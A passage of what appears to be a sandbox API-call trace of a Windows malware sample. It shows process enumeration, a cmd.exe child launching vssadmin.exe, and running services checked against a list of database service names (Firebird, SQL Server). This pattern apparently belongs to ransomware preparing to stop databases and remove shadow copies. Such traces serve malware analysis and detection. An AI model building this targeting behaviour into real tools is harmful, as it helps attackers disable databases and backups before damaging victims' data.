szExeFile="svchost.exe")) returned 1 [0048.013] lstrlenW (lpString="svchost.exe") returned 11 [0048.013] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.014] lstrlenW (lpString="taskeng.exe") returned 11 [0048.014] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.015] lstrlenW (lpString="taskhost.exe") returned 12 [0048.015] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0048.097] lstrlenW (lpString="obligations-breath.exe") returned 22 [0048.098] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0048.098] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0048.098] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0048.103] lstrlenW (lpString="achieving.exe") returned 13 [0048.103] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0048.104] lstrlenW (lpString="venice.exe") returned 10 [0048.104] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0048.120] lstrlenW (lpString="owns.exe") returned 8 [0048.120] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0048.121] lstrlenW (lpString="faster momentum.exe") returned 19 [0048.121] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0048.122] lstrlenW (lpString="vital_reasons.exe") returned 17 [0048.122] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0048.122] lstrlenW (lpString="everyone.exe") returned 12 [0048.122] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0048.123] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0048.123] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0048.124] lstrlenW (lpString="bored_excluded.exe") returned 18 [0048.124] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0048.125] lstrlenW (lpString="mothers.exe") returned 11 [0048.125] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0048.125] lstrlenW (lpString="career-fed.exe") returned 14 [0048.125] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0048.126] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0048.126] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0048.127] lstrlenW (lpString="initial_utilization.exe") returned 23 [0048.127] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0048.127] lstrlenW (lpString="cf-represent.exe") returned 16 [0048.127] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0048.128] lstrlenW (lpString="tue.exe") returned 7 [0048.128] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0048.129] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0048.129] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0048.130] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0048.130] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0048.130] lstrlenW (lpString="stuff_event.exe") returned 15 [0048.131] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0048.131] lstrlenW (lpString="keywords-copies.exe") returned 19 [0048.131] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0048.132] lstrlenW (lpString="lap.exe") returned 7 [0048.132] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.133] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.133] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0048.134] lstrlenW (lpString="chrome64b.exe") returned 13 [0048.134] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.134] lstrlenW (lpString="cmd.exe") returned 7 [0048.135] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.136] lstrlenW (lpString="conhost.exe") returned 11 [0048.136] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.136] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.136] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.137] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.137] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.335] lstrlenW (lpString="svchost.exe") returned 11 [0048.335] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.336] CloseHandle (hObject=0x204) returned 1 [0048.336] Sleep (dwMilliseconds=0x1f4) [0048.910] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f660 [0048.910] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0048.911] GetLastError () returned 0xea [0048.911] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0048.911] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0048.911] CloseServiceHandle (hSCObject=0x66f660) returned 1 [0048.912] lstrlenW (lpString="Appinfo") returned 7 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.912] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.912] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.912] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.912] lstrlenW (lpString="AudioSrv") returned 8 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.912] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.912] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.912] lstrlenW (lpString="BFE") returned 3 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.912] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.912] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.912] lstrlenW (lpString="CryptSvc") returned 8 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.912] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.912] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.912] lstrlenW (lpString="CscService") returned 10 [0048.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.913] lstrlenW (lpString="DcomLaunch") returned 10 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.913] lstrlenW (lpString="Dhcp") returned 4 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.913] lstrlenW (lpString="Dnscache") returned 8 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.913] lstrlenW (lpString="DPS") returned 3 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.913] lstrlenW (lpString="eventlog") returned 8 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.913] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.913] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.913] lstrlenW (lpString="EventSystem") returned 11 [0048.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.914] lstrlenW (lpString="gpsvc") returned 5 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.914] lstrlenW (lpString="iphlpsvc") returned 8 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.914] lstrlenW (lpString="LanmanServer") returned 12 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.914] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.914] lstrlenW (lpString="lmhosts") returned 7 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.914] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.914] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.914] lstrlenW (lpString="MMCSS") returned 5 [0048.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.915] lstrlenW (lpString="MpsSvc") returned 6 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.915] lstrlenW (lpString="Netman") returned 6 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.915] lstrlenW (lpString="netprofm") returned 8 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.915] lstrlenW (lpString="NlaSvc") returned 6 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.915] lstrlenW (lpString="nsi") returned 3 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.915] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.915] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.915] lstrlenW (lpString="PcaSvc") returned 6 [0048.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.916] lstrlenW (lpString="PlugPlay") returned 8 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.916] lstrlenW (lpString="Power") returned 5 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.916] lstrlenW (lpString="ProfSvc") returned 7 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.916] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.916] lstrlenW (lpString="RpcSs") returned 5 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.916] lstrlenW (lpString="SamSs") returned 5 [0048.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.916] lstrcmpiW 